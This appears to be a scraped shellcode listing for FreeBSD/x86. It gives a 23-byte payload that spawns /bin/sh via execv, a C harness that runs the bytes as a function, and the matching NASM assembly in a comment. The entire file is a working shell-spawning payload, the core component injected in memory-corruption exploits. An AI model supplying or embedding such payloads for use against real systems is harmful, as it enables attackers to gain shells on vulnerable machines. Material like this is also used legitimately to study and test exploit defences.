49 lines
No EOL
722 B
NASM
49 lines
No EOL
722 B
NASM
/*
|
|
-------------- FreeBSD/x86 - execv("/bin/sh") 23 bytes -------------------------
|
|
* AUTHOR : Tosh
|
|
* OS : BSDx86 (Tested on FreeBSD 8.1)
|
|
* EMAIL : tosh@tuxfamily.org
|
|
*/
|
|
|
|
#include <string.h>
|
|
#include <stdio.h>
|
|
|
|
|
|
|
|
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68"
|
|
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
|
|
"\x54\x53\xb0\x3b\x50\xcd\x80";
|
|
|
|
int main(void)
|
|
{
|
|
void(*f)() = (void*)shellcode;
|
|
|
|
printf("Len = %d\n", sizeof(shellcode)-1);
|
|
f();
|
|
}
|
|
|
|
/*!
|
|
%define SYS_EXECV 59
|
|
|
|
|
|
section .text
|
|
|
|
global _start
|
|
|
|
_start:
|
|
xor eax, eax
|
|
|
|
push eax
|
|
|
|
push '//sh'
|
|
push '/bin'
|
|
|
|
mov ebx, esp
|
|
|
|
push eax
|
|
push esp
|
|
push ebx
|
|
mov al, SYS_EXECV
|
|
push eax
|
|
int 0x80
|
|
*/ |